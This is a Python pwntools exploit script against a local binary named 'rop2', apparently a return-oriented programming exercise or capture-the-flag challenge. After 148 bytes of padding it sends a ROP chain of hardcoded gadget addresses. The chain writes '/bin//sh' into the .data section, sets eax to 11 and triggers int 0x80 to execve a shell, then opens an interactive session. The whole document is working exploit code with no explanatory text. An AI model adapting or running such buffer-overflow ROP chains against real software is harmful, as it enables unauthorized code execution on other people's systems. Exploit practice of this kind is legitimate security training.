#!/usr/bin/python

from pwn import *
from struct import pack

def main():

    # start a process
    proc = process("./rop2")

    # create payload

    # Padding goes here
    p = b'A' * 148

    p += pack('<I', 0x0807296b) # pop edx ; ret
    p += pack('<I', 0x080de060) # @ .data
    p += pack('<I', 0x080ac946) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x08056de5) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0807296b) # pop edx ; ret
    p += pack('<I', 0x080de064) # @ .data + 4
    p += pack('<I', 0x080ac946) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x08056de5) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0807296b) # pop edx ; ret
    p += pack('<I', 0x080de068) # @ .data + 8
    p += pack('<I', 0x080563a0) # xor eax, eax ; ret
    p += pack('<I', 0x08056de5) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481d1) # pop ebx ; ret
    p += pack('<I', 0x080de060) # @ .data
    p += pack('<I', 0x08072992) # pop ecx ; pop ebx ; ret
    p += pack('<I', 0x080de068) # @ .data + 8
    p += pack('<I', 0x080de060) # padding without overwrite ebx
    p += pack('<I', 0x0807296b) # pop edx ; ret
    p += pack('<I', 0x080de068) # @ .data + 8
    p += pack('<I', 0x080563a0) # xor eax, eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x0807fdfa) # inc eax ; ret
    p += pack('<I', 0x08049643) # int 0x80

    # send the payload to the binary
    proc.send(p)

    proc.interactive()

if __name__ == "__main__":
    main()

